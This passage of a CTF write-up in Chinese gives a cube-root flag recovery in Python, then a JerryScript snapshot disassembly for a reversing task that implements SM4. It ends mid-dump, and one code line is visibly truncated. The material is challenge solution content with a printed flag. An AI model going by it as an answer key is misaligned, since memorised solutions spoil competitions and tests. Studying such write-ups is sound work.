from Crypto.Util.number import long_to_bytes
import gmpy2
print(gmpy2.iroot(72122728040135433910084218324574182235447654897640421711359825692113776202902748285267445589769500040520888384194950935232
m = 193207530030250486323082807418528242300453594901698934812368796575822264198418283118461
print(long_to_bytes(m).decode())
#得到flag:ctf{th1s_is_re4lly_beaut1fly_r1ght?}

engtom

通过strings查询字符串可以看出是JS相关的程序,搜索Js引擎和⽂件头可以认出是JerryScript引擎的快照。

启⽤—show-opcodes和—snapshot-exec编译后,执⾏jerry

1
./jerry --show-opcodes --exec-snapshot /mnt/d/ctf/祥云杯/engtom/engtom/chall.snapshot

得到以下结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
0 : CBC_CHECK_VAR ident:5->string(SboxTable)
2 : CBC_CHECK_VAR ident:6->string(CK)
4 : CBC_CHECK_VAR ident:7->string(FK)
6 : CBC_CHECK_VAR ident:8->string(bigxor)
8 : CBC_CHECK_VAR ident:9->string(leftshift)
10 : CBC_CHECK_VAR ident:10->string(prefixInteger)
12 : CBC_CHECK_VAR ident:11->string(sm4Sbox)
14 : CBC_CHECK_VAR ident:12->string(GET_ULONG_BE)
16 : CBC_CHECK_VAR ident:13->string(PUT_ULONG_BE)
18 : CBC_CHECK_VAR ident:14->string(sm4_getkey)
20 : CBC_CHECK_VAR ident:15->string(encrypt)
22 : CBC_CHECK_VAR ident:16->string(decrypt_sm4)
24 : CBC_CHECK_VAR ident:17->string(compare_array)
26 : CBC_CHECK_VAR ident:18->string(input)
28 : CBC_CHECK_VAR ident:19->string(num)
30 : CBC_CHECK_VAR ident:20->string(message)
32 : CBC_CHECK_VAR ident:21->string(count)
34 : CBC_CHECK_VAR ident:22->string(pad_len)
36 : CBC_CREATE_VAR_EVAL ident:5->string(SboxTable)
38 : CBC_CREATE_VAR_EVAL ident:6->string(CK)
40 : CBC_CREATE_VAR_EVAL ident:7->string(FK)
42 : CBC_CREATE_VAR_FUNC_EVAL lit:91 ident:8->string(bigxor)
45 : CBC_CREATE_VAR_FUNC_EVAL lit:92 ident:9->string(leftshift)
48 : CBC_CREATE_VAR_FUNC_EVAL lit:93 ident:10->string(prefixInteger)
51 : CBC_CREATE_VAR_FUNC_EVAL lit:94 ident:11->string(sm4Sbox)
54 : CBC_CREATE_VAR_FUNC_EVAL lit:95 ident:12->string(GET_ULONG_BE)
57 : CBC_CREATE_VAR_FUNC_EVAL lit:96 ident:13->string(PUT_ULONG_BE)
60 : CBC_CREATE_VAR_FUNC_EVAL lit:97 ident:14->string(sm4_getkey)
63 : CBC_CREATE_VAR_FUNC_EVAL lit:98 ident:15->string(encrypt)
66 : CBC_CREATE_VAR_FUNC_EVAL lit:99 ident:16->string(decrypt_sm4)
69 : CBC_CREATE_VAR_FUNC_EVAL lit:100 ident:17->string(compare_array)
72 : CBC_CREATE_VAR_EVAL ident:18->string(input)
74 : CBC_CREATE_VAR_EVAL ident:19->string(num)
76 : CBC_CREATE_VAR_EVAL ident:20->string(message)
78 : CBC_CREATE_VAR_EVAL ident:21->string(count)
80 : CBC_CREATE_VAR_EVAL ident:22->string(pad_len)
82 : CBC_PUSH_LITERAL ident:23->string(Array)
84 : CBC_NEW0
85 : CBC_ASSIGN_SET_IDENT ident:5->string(SboxTable)
87 : CBC_PUSH_LITERAL_PUSH_NUMBER_0 ident:5->string(SboxTable)
89 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:214
92 : CBC_PUSH_NUMBER_POS_BYTE number:144
94 : CBC_PUSH_NUMBER_POS_BYTE number:233
96 : CBC_PUSH_NUMBER_POS_BYTE number:254
98 : CBC_PUSH_NUMBER_POS_BYTE number:204
100 : CBC_PUSH_NUMBER_POS_BYTE number:225
102 : CBC_PUSH_NUMBER_POS_BYTE number:61
104 : CBC_PUSH_NUMBER_POS_BYTE number:183
106 : CBC_PUSH_NUMBER_POS_BYTE number:22
108 : CBC_PUSH_NUMBER_POS_BYTE number:182
110 : CBC_PUSH_NUMBER_POS_BYTE number:20
112 : CBC_PUSH_NUMBER_POS_BYTE number:194
114 : CBC_PUSH_NUMBER_POS_BYTE number:40
116 : CBC_PUSH_NUMBER_POS_BYTE number:251
118 : CBC_PUSH_NUMBER_POS_BYTE number:44
120 : CBC_PUSH_NUMBER_POS_BYTE number:5
122 : CBC_NEW byte_arg:16
124 : CBC_ASSIGN_BLOCK
125 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:1
128 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:43
131 : CBC_PUSH_NUMBER_POS_BYTE number:103
133 : CBC_PUSH_NUMBER_POS_BYTE number:154
135 : CBC_PUSH_NUMBER_POS_BYTE number:118
137 : CBC_PUSH_NUMBER_POS_BYTE number:42
139 : CBC_PUSH_NUMBER_POS_BYTE number:190
141 : CBC_PUSH_NUMBER_POS_BYTE number:4
143 : CBC_PUSH_NUMBER_POS_BYTE number:195
145 : CBC_PUSH_NUMBER_POS_BYTE number:170
147 : CBC_PUSH_NUMBER_POS_BYTE number:68
149 : CBC_PUSH_NUMBER_POS_BYTE number:19
151 : CBC_PUSH_NUMBER_POS_BYTE number:38
153 : CBC_PUSH_NUMBER_POS_BYTE number:73
155 : CBC_PUSH_NUMBER_POS_BYTE number:134
157 : CBC_PUSH_NUMBER_POS_BYTE number:6
159 : CBC_PUSH_NUMBER_POS_BYTE number:153
161 : CBC_NEW byte_arg:16
163 : CBC_ASSIGN_BLOCK
164 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:2
167 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:156
170 : CBC_PUSH_NUMBER_POS_BYTE number:66
172 : CBC_PUSH_NUMBER_POS_BYTE number:80
174 : CBC_PUSH_NUMBER_POS_BYTE number:244
176 : CBC_PUSH_NUMBER_POS_BYTE number:145
178 : CBC_PUSH_NUMBER_POS_BYTE number:239
180 : CBC_PUSH_NUMBER_POS_BYTE number:152
182 : CBC_PUSH_NUMBER_POS_BYTE number:122
184 : CBC_PUSH_NUMBER_POS_BYTE number:51
186 : CBC_PUSH_NUMBER_POS_BYTE number:84
188 : CBC_PUSH_NUMBER_POS_BYTE number:11
190 : CBC_PUSH_NUMBER_POS_BYTE number:67
192 : CBC_PUSH_NUMBER_POS_BYTE number:237
194 : CBC_PUSH_NUMBER_POS_BYTE number:207
196 : CBC_PUSH_NUMBER_POS_BYTE number:172
198 : CBC_PUSH_NUMBER_POS_BYTE number:98
200 : CBC_NEW byte_arg:16
202 : CBC_ASSIGN_BLOCK
203 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:3
206 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:228
209 : CBC_PUSH_NUMBER_POS_BYTE number:179
211 : CBC_PUSH_NUMBER_POS_BYTE number:28
213 : CBC_PUSH_NUMBER_POS_BYTE number:169
215 : CBC_PUSH_NUMBER_POS_BYTE number:201
217 : CBC_PUSH_NUMBER_POS_BYTE number:8
219 : CBC_PUSH_NUMBER_POS_BYTE number:232
221 : CBC_PUSH_NUMBER_POS_BYTE number:149
223 : CBC_PUSH_NUMBER_POS_BYTE number:128
225 : CBC_PUSH_NUMBER_POS_BYTE number:223
227 : CBC_PUSH_NUMBER_POS_BYTE number:148
229 : CBC_PUSH_NUMBER_POS_BYTE number:250
231 : CBC_PUSH_NUMBER_POS_BYTE number:117
233 : CBC_PUSH_NUMBER_POS_BYTE number:143
235 : CBC_PUSH_NUMBER_POS_BYTE number:63
237 : CBC_PUSH_NUMBER_POS_BYTE number:166
239 : CBC_NEW byte_arg:16
241 : CBC_ASSIGN_BLOCK
242 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:4
245 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:71
248 : CBC_PUSH_NUMBER_POS_BYTE number:7
250 : CBC_PUSH_NUMBER_POS_BYTE number:167
252 : CBC_PUSH_NUMBER_POS_BYTE number:252
254 : CBC_PUSH_NUMBER_POS_BYTE number:243
256 : CBC_PUSH_NUMBER_POS_BYTE number:115
258 : CBC_PUSH_NUMBER_POS_BYTE number:23
260 : CBC_PUSH_NUMBER_POS_BYTE number:186
262 : CBC_PUSH_NUMBER_POS_BYTE number:131
264 : CBC_PUSH_NUMBER_POS_BYTE number:89
266 : CBC_PUSH_NUMBER_POS_BYTE number:60
268 : CBC_PUSH_NUMBER_POS_BYTE number:25
270 : CBC_PUSH_NUMBER_POS_BYTE number:230
272 : CBC_PUSH_NUMBER_POS_BYTE number:133
274 : CBC_PUSH_NUMBER_POS_BYTE number:79
276 : CBC_PUSH_NUMBER_POS_BYTE number:168
278 : CBC_NEW byte_arg:16
280 : CBC_ASSIGN_BLOCK
281 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:5
284 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:104
287 : CBC_PUSH_NUMBER_POS_BYTE number:107
289 : CBC_PUSH_NUMBER_POS_BYTE number:129
291 : CBC_PUSH_NUMBER_POS_BYTE number:178
293 : CBC_PUSH_NUMBER_POS_BYTE number:113
295 : CBC_PUSH_NUMBER_POS_BYTE number:100
297 : CBC_PUSH_NUMBER_POS_BYTE number:218
299 : CBC_PUSH_NUMBER_POS_BYTE number:139
301 : CBC_PUSH_NUMBER_POS_BYTE number:248
303 : CBC_PUSH_NUMBER_POS_BYTE number:235
305 : CBC_PUSH_NUMBER_POS_BYTE number:15
307 : CBC_PUSH_NUMBER_POS_BYTE number:75
309 : CBC_PUSH_NUMBER_POS_BYTE number:112
311 : CBC_PUSH_NUMBER_POS_BYTE number:86
313 : CBC_PUSH_NUMBER_POS_BYTE number:157
315 : CBC_PUSH_NUMBER_POS_BYTE number:53
317 : CBC_NEW byte_arg:16
319 : CBC_ASSIGN_BLOCK
320 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:6
323 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:30
326 : CBC_PUSH_NUMBER_POS_BYTE number:36
328 : CBC_PUSH_NUMBER_POS_BYTE number:14
330 : CBC_PUSH_NUMBER_POS_BYTE number:94
332 : CBC_PUSH_NUMBER_POS_BYTE number:99
334 : CBC_PUSH_NUMBER_POS_BYTE number:88
336 : CBC_PUSH_NUMBER_POS_BYTE number:209
338 : CBC_PUSH_NUMBER_POS_BYTE number:162
340 : CBC_PUSH_NUMBER_POS_BYTE number:37
342 : CBC_PUSH_NUMBER_POS_BYTE number:34
344 : CBC_PUSH_NUMBER_POS_BYTE number:124
346 : CBC_PUSH_NUMBER_POS_BYTE number:59
348 : CBC_PUSH_NUMBER_POS_BYTE number:1
350 : CBC_PUSH_NUMBER_POS_BYTE number:33
352 : CBC_PUSH_NUMBER_POS_BYTE number:120
354 : CBC_PUSH_NUMBER_POS_BYTE number:135
356 : CBC_NEW byte_arg:16
358 : CBC_ASSIGN_BLOCK
359 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:7
362 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:212
365 : CBC_PUSH_NUMBER_0
366 : CBC_PUSH_NUMBER_POS_BYTE number:70
368 : CBC_PUSH_NUMBER_POS_BYTE number:87
370 : CBC_PUSH_NUMBER_POS_BYTE number:159
372 : CBC_PUSH_NUMBER_POS_BYTE number:211
374 : CBC_PUSH_NUMBER_POS_BYTE number:39
376 : CBC_PUSH_NUMBER_POS_BYTE number:82
378 : CBC_PUSH_NUMBER_POS_BYTE number:76
380 : CBC_PUSH_NUMBER_POS_BYTE number:54
382 : CBC_PUSH_NUMBER_POS_BYTE number:2
384 : CBC_PUSH_NUMBER_POS_BYTE number:231
386 : CBC_PUSH_NUMBER_POS_BYTE number:160
388 : CBC_PUSH_NUMBER_POS_BYTE number:196
390 : CBC_PUSH_NUMBER_POS_BYTE number:200
392 : CBC_PUSH_NUMBER_POS_BYTE number:158
394 : CBC_NEW byte_arg:16
396 : CBC_ASSIGN_BLOCK
397 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:8
400 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:234
403 : CBC_PUSH_NUMBER_POS_BYTE number:191
405 : CBC_PUSH_NUMBER_POS_BYTE number:138
407 : CBC_PUSH_NUMBER_POS_BYTE number:210
409 : CBC_PUSH_NUMBER_POS_BYTE number:64
411 : CBC_PUSH_NUMBER_POS_BYTE number:199
413 : CBC_PUSH_NUMBER_POS_BYTE number:56
415 : CBC_PUSH_NUMBER_POS_BYTE number:181
417 : CBC_PUSH_NUMBER_POS_BYTE number:163
419 : CBC_PUSH_NUMBER_POS_BYTE number:247
421 : CBC_PUSH_NUMBER_POS_BYTE number:242
423 : CBC_PUSH_NUMBER_POS_BYTE number:206
425 : CBC_PUSH_NUMBER_POS_BYTE number:249
427 : CBC_PUSH_NUMBER_POS_BYTE number:97
429 : CBC_PUSH_NUMBER_POS_BYTE number:21
431 : CBC_PUSH_NUMBER_POS_BYTE number:161
433 : CBC_NEW byte_arg:16
435 : CBC_ASSIGN_BLOCK
436 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:9
439 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:224
442 : CBC_PUSH_NUMBER_POS_BYTE number:174
444 : CBC_PUSH_NUMBER_POS_BYTE number:93
446 : CBC_PUSH_NUMBER_POS_BYTE number:164
448 : CBC_PUSH_NUMBER_POS_BYTE number:155
450 : CBC_PUSH_NUMBER_POS_BYTE number:52
452 : CBC_PUSH_NUMBER_POS_BYTE number:26
454 : CBC_PUSH_NUMBER_POS_BYTE number:85
456 : CBC_PUSH_NUMBER_POS_BYTE number:173
458 : CBC_PUSH_NUMBER_POS_BYTE number:147
460 : CBC_PUSH_NUMBER_POS_BYTE number:50
462 : CBC_PUSH_NUMBER_POS_BYTE number:48
464 : CBC_PUSH_NUMBER_POS_BYTE number:245
466 : CBC_PUSH_NUMBER_POS_BYTE number:140
468 : CBC_PUSH_NUMBER_POS_BYTE number:177
470 : CBC_PUSH_NUMBER_POS_BYTE number:227
472 : CBC_NEW byte_arg:16
474 : CBC_ASSIGN_BLOCK
475 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:10
478 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:29
481 : CBC_PUSH_NUMBER_POS_BYTE number:246
483 : CBC_PUSH_NUMBER_POS_BYTE number:226
485 : CBC_PUSH_NUMBER_POS_BYTE number:46
487 : CBC_PUSH_NUMBER_POS_BYTE number:130
489 : CBC_PUSH_NUMBER_POS_BYTE number:102
491 : CBC_PUSH_NUMBER_POS_BYTE number:202
493 : CBC_PUSH_NUMBER_POS_BYTE number:96
495 : CBC_PUSH_NUMBER_POS_BYTE number:192
497 : CBC_PUSH_NUMBER_POS_BYTE number:41
499 : CBC_PUSH_NUMBER_POS_BYTE number:35
501 : CBC_PUSH_NUMBER_POS_BYTE number:171
503 : CBC_PUSH_NUMBER_POS_BYTE number:13
505 : CBC_PUSH_NUMBER_POS_BYTE number:83
507 : CBC_PUSH_NUMBER_POS_BYTE number:78
509 : CBC_PUSH_NUMBER_POS_BYTE number:111
511 : CBC_NEW byte_arg:16
513 : CBC_ASSIGN_BLOCK
514 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:11
517 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:213
520 : CBC_PUSH_NUMBER_POS_BYTE number:219
522 : CBC_PUSH_NUMBER_POS_BYTE number:55
524 : CBC_PUSH_NUMBER_POS_BYTE number:69
526 : CBC_PUSH_NUMBER_POS_BYTE number:222
528 : CBC_PUSH_NUMBER_POS_BYTE number:253
530 : CBC_PUSH_NUMBER_POS_BYTE number:142
532 : CBC_PUSH_NUMBER_POS_BYTE number:47
534 : CBC_PUSH_NUMBER_POS_BYTE number:3
536 : CBC_PUSH_NUMBER_POS_BYTE number:255
538 : CBC_PUSH_NUMBER_POS_BYTE number:106
540 : CBC_PUSH_NUMBER_POS_BYTE number:114
542 : CBC_PUSH_NUMBER_POS_BYTE number:109
544 : CBC_PUSH_NUMBER_POS_BYTE number:108
546 : CBC_PUSH_NUMBER_POS_BYTE number:91
548 : CBC_PUSH_NUMBER_POS_BYTE number:81
550 : CBC_NEW byte_arg:16
552 : CBC_ASSIGN_BLOCK
553 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:12
556 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:141
559 : CBC_PUSH_NUMBER_POS_BYTE number:27
561 : CBC_PUSH_NUMBER_POS_BYTE number:175
563 : CBC_PUSH_NUMBER_POS_BYTE number:146
565 : CBC_PUSH_NUMBER_POS_BYTE number:187
567 : CBC_PUSH_NUMBER_POS_BYTE number:221
569 : CBC_PUSH_NUMBER_POS_BYTE number:188
571 : CBC_PUSH_NUMBER_POS_BYTE number:127
573 : CBC_PUSH_NUMBER_POS_BYTE number:17
575 : CBC_PUSH_NUMBER_POS_BYTE number:217
577 : CBC_PUSH_NUMBER_POS_BYTE number:92
579 : CBC_PUSH_NUMBER_POS_BYTE number:65
581 : CBC_PUSH_NUMBER_POS_BYTE number:31
583 : CBC_PUSH_NUMBER_POS_BYTE number:16
585 : CBC_PUSH_NUMBER_POS_BYTE number:90
587 : CBC_PUSH_NUMBER_POS_BYTE number:216
589 : CBC_NEW byte_arg:16
591 : CBC_ASSIGN_BLOCK
592 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:13
595 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:10
598 : CBC_PUSH_NUMBER_POS_BYTE number:193
600 : CBC_PUSH_NUMBER_POS_BYTE number:49
602 : CBC_PUSH_NUMBER_POS_BYTE number:136
604 : CBC_PUSH_NUMBER_POS_BYTE number:165
606 : CBC_PUSH_NUMBER_POS_BYTE number:205
608 : CBC_PUSH_NUMBER_POS_BYTE number:123
610 : CBC_PUSH_NUMBER_POS_BYTE number:189
612 : CBC_PUSH_NUMBER_POS_BYTE number:45
614 : CBC_PUSH_NUMBER_POS_BYTE number:116
616 : CBC_PUSH_NUMBER_POS_BYTE number:208
618 : CBC_PUSH_NUMBER_POS_BYTE number:18
620 : CBC_PUSH_NUMBER_POS_BYTE number:184
622 : CBC_PUSH_NUMBER_POS_BYTE number:229
624 : CBC_PUSH_NUMBER_POS_BYTE number:180
626 : CBC_PUSH_NUMBER_POS_BYTE number:176
628 : CBC_NEW byte_arg:16
630 : CBC_ASSIGN_BLOCK
631 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:14
634 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:137
637 : CBC_PUSH_NUMBER_POS_BYTE number:105
639 : CBC_PUSH_NUMBER_POS_BYTE number:151
641 : CBC_PUSH_NUMBER_POS_BYTE number:74
643 : CBC_PUSH_NUMBER_POS_BYTE number:12
645 : CBC_PUSH_NUMBER_POS_BYTE number:150
647 : CBC_PUSH_NUMBER_POS_BYTE number:119
649 : CBC_PUSH_NUMBER_POS_BYTE number:126
651 : CBC_PUSH_NUMBER_POS_BYTE number:101
653 : CBC_PUSH_NUMBER_POS_BYTE number:185
655 : CBC_PUSH_NUMBER_POS_BYTE number:241
657 : CBC_PUSH_NUMBER_POS_BYTE number:9
659 : CBC_PUSH_NUMBER_POS_BYTE number:197
661 : CBC_PUSH_NUMBER_POS_BYTE number:110
663 : CBC_PUSH_NUMBER_POS_BYTE number:198
665 : CBC_PUSH_NUMBER_POS_BYTE number:132
667 : CBC_NEW byte_arg:16
669 : CBC_ASSIGN_BLOCK
670 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:5->string(SboxTable) number:15
673 : CBC_PUSH_LITERAL_PUSH_NUMBER_POS_BYTE ident:23->string(Array) number:24
676 : CBC_PUSH_NUMBER_POS_BYTE number:240
678 : CBC_PUSH_NUMBER_POS_BYTE number:125
680 : CBC_PUSH_NUMBER_POS_BYTE number:236
682 : CBC_PUSH_NUMBER_POS_BYTE number:58
684 : CBC_PUSH_NUMBER_POS_BYTE number:220
686 : CBC_PUSH_NUMBER_POS_BYTE number:77
688 : CBC_PUSH_NUMBER_POS_BYTE number:32
690 : CBC_PUSH_NUMBER_POS_BYTE number:121
692 : CBC_PUSH_NUMBER_POS_BYTE number:238
694 : CBC_PUSH_NUMBER_POS_BYTE number:95
696 : CBC_PUSH_NUMBER_POS_BYTE number:62
698 : CBC_PUSH_NUMBER_POS_BYTE number:215
700 : CBC_PUSH_NUMBER_POS_BYTE number:203
702 : CBC_PUSH_NUMBER_POS_BYTE number:57
704 : CBC_PUSH_NUMBER_POS_BYTE number:72
706 : CBC_NEW byte_arg:16
708 : CBC_ASSIGN_BLOCK
709 : CBC_PUSH_THREE_LITERALS ident:23->string(Array) const:30->number(462357) const:31->number(472066609)
713 : CBC_PUSH_THREE_LITERALS const:32->number(943670861) const:33->number(1415275113) const:34->number(1886879365)
717 : CBC_PUSH_THREE_LITERALS const:35->number(2358483617) const:36->number(2830087869) const:37->number(3301692121)
721 : CBC_PUSH_THREE_LITERALS const:38->number(3773296373) const:39->number(4228057617) const:40->number(404694573)
725 : CBC_PUSH_THREE_LITERALS const:41->number(876298825) const:42->number(1347903077) const:43->number(1819507329)
729 : CBC_PUSH_THREE_LITERALS const:44->number(2291111581) const:45->number(2762715833) const:46->number(3234320085)
733 : CBC_PUSH_THREE_LITERALS const:47->number(3705924337) const:48->number(4177462797) const:49->number(337322537)
737 : CBC_PUSH_THREE_LITERALS const:50->number(808926789) const:51->number(1280531041) const:52->number(1752135293)
741 : CBC_PUSH_THREE_LITERALS const:53->number(2223739545) const:54->number(2695343797) const:55->number(3166948049)
745 : CBC_PUSH_THREE_LITERALS const:56->number(3638552301) const:57->number(4110090761) const:58->number(269950501)
749 : CBC_PUSH_THREE_LITERALS const:59->number(741554753) const:60->number(1213159005) const:61->number(1684763257)
753 : CBC_NEW byte_arg:32
755 : CBC_ASSIGN_SET_IDENT ident:6->string(CK)
757 : CBC_PUSH_THREE_LITERALS ident:23->string(Array) const:62->number(2746333894) const:63->number(1453994832)
761 : CBC_PUSH_TWO_LITERALS const:64->number(1736282519) const:65->number(2993693404)
764 : CBC_NEW byte_arg:4
766 : CBC_ASSIGN_SET_IDENT ident:7->string(FK)
768 : CBC_PUSH_LITERAL const:66->string(ctf{this_is_an_example})
770 : CBC_ASSIGN_SET_IDENT ident:18->string(input)
772 : CBC_PUSH_NUMBER_0
773 : CBC_ASSIGN_SET_IDENT ident:19->string(num)
775 : CBC_PUSH_LITERAL ident:23->string(Array)
777 : CBC_NEW0
778 : CBC_ASSIGN_SET_IDENT ident:20->string(message)
780 : CBC_PUSH_NUMBER_0
781 : CBC_MOV_IDENT reg:1
783 : CBC_JUMP_FORWARD offset:32(->815)
785 : CBC_MULTIPLY_TWO_LITERALS ident:19->string(num) const:67->number(256)
788 : CBC_PUSH_PROP_LITERAL_LITERAL_REFERENCE ident:18->string(input) const:68->string(charCodeAt)
791 : CBC_PUSH_LITERAL reg:1
793 : CBC_CALL1_PROP_PUSH_RESULT
794 : CBC_ADD
795 : CBC_ASSIGN_SET_IDENT_BLOCK ident:19->string(num)
797 : CBC_MODULO_TWO_LITERALS reg:1 const:69->number(4)
800 : CBC_EQUAL_RIGHT_LITERAL const:70->number(3)
802 : CBC_BRANCH_IF_FALSE_FORWARD offset:11(->813)
804 : CBC_PUSH_PROP_LITERAL_LITERAL_REFERENCE ident:20->string(message) const:71->string(push)
807 : CBC_PUSH_LITERAL ident:19->string(num)
809 : CBC_CALL1_PROP_BLOCK
810 : CBC_PUSH_NUMBER_0
811 : CBC_ASSIGN_SET_IDENT_BLOCK ident:19->string(num)
813 : CBC_PRE_INCR_IDENT reg:1
815 : CBC_PUSH_TWO_LITERALS reg:1 ident:18->string(input)
818 : CBC_PUSH_PROP_LITERAL const:72->string(length)
820 : CBC_LESS
821 : CBC_BRANCH_IF_TRUE_BACKWARD offset:36(->785)
823 : CBC_PUSH_PROP_LITERAL_LITERAL_REFERENCE ident:24->string(Math) const:73->string(ceil)
826 : CBC_PUSH_PROP_LITERAL_LITERAL ident:20->string(message) const:72->string(length)
829 : CBC_DIVIDE_RIGHT_LITERAL const:69->number(4)
831 : CBC_CALL1_PROP_PUSH_RESULT
832 : CBC_ASSIGN_SET_IDENT ident:21->string(count)
834 : CBC_MULTIPLY_TWO_LITERALS ident:21->string(count) const:69->number(4)
837 : CBC_ASSIGN_SET_IDENT ident:22->string(pad_len)
839 : CBC_JUMP_FORWARD offset:7(->846)
841 : CBC_PUSH_PROP_LITERAL_LITERAL_REFERENCE ident:20->string(message) const:71->string(push)
844 : CBC_PUSH_NUMBER_0
845 : CBC_CALL1_PROP_BLOCK
846 : CBC_PUSH_PROP_LITERAL_LITERAL ident:20->string(message) const:72->string(length)
849 : CBC_LESS_RIGHT_LITERAL ident:22->string(pad_len)
851 : CBC_BRANCH_IF_TRUE_BACKWARD offset:10(->841)
853 : CBC_PUSH_THREE_LITERALS ident:23->string(Array) const:74->number(19088743) const:75->number(2309737967)
857 : CBC_PUSH_TWO_LITERALS const:76->number(4275878552) const:77->number(1985229328)
860 : CBC_NEW byte_arg:4
862 : CBC_ASSIGN_SET_IDENT_BLOCK ident:25->string(key)
864 : CBC_PUSH_THREE_LITERALS ident:23->string(Array) const:78->number(1605062385) const:79->number(-642825121)
868 : CBC_PUSH_THREE_LITERALS const:80->number(2061445208) const:81->number(1405610911) const:82->number(1713399267)
872 : CBC_PUSH_THREE_LITERALS const:83->number(1396669315) const:84->number(1081797168) const:85->number(605181189)
876 : CBC_PUSH_THREE_LITERALS const:86->number(1824766525) const:87->number(1196148725) const:88->number(763423307)
880 : CBC_PUSH_LITERAL const:89->number(1125925868)
882 : CBC_NEW byte_arg:12
884 : CBC_ASSIGN_SET_IDENT_BLOCK ident:26->string(ans)
886 : CBC_PUSH_LITERAL ident:23->string(Array)
888 : CBC_NEW0
889 : CBC_ASSIGN_SET_IDENT_BLOCK ident:27->string(message_c)
891 : CBC_PUSH_NUMBER_0
892 : CBC_MOV_IDENT reg:1
894 : CBC_JUMP_FORWARD offset:47(->941)
896 : CBC_PUSH_PROP_LITERAL_LITERAL_REFERENCE ident:20->string(message) const:90->str 900 : CBC_PUSH_NUMBER_POS_BYTE number:4
902 : CBC_CALL2_PROP_PUSH_RESULT
903 : CBC_MOV_IDENT reg:2
905 : CBC_PUSH_THREE_LITERALS ident:15->string(encrypt) reg:2 ident:25->string(key)
909 : CBC_CALL2_PUSH_RESULT
910 : CBC_MOV_IDENT reg:3
912 : CBC_PUSH_NUMBER_0
913 : CBC_MOV_IDENT reg:4
915 : CBC_JUMP_FORWARD offset:16(->931)
917 : CBC_PUSH_PROP_LITERAL_LITERAL_REFERENCE ident:27->string(message_c) const:71->string(push)
920 : CBC_PUSH_THREE_LITERALS ident:28->string(parseInt) reg:3 reg:4
924 : CBC_PUSH_PROP
925 : CBC_PUSH_NUMBER_POS_BYTE number:16
927 : CBC_CALL2_PUSH_RESULT
928 : CBC_CALL1_PROP_BLOCK
929 : CBC_PRE_INCR_IDENT reg:4
931 : CBC_PUSH_TWO_LITERALS reg:4 reg:3
934 : CBC_PUSH_PROP_LITERAL const:72->string(length)
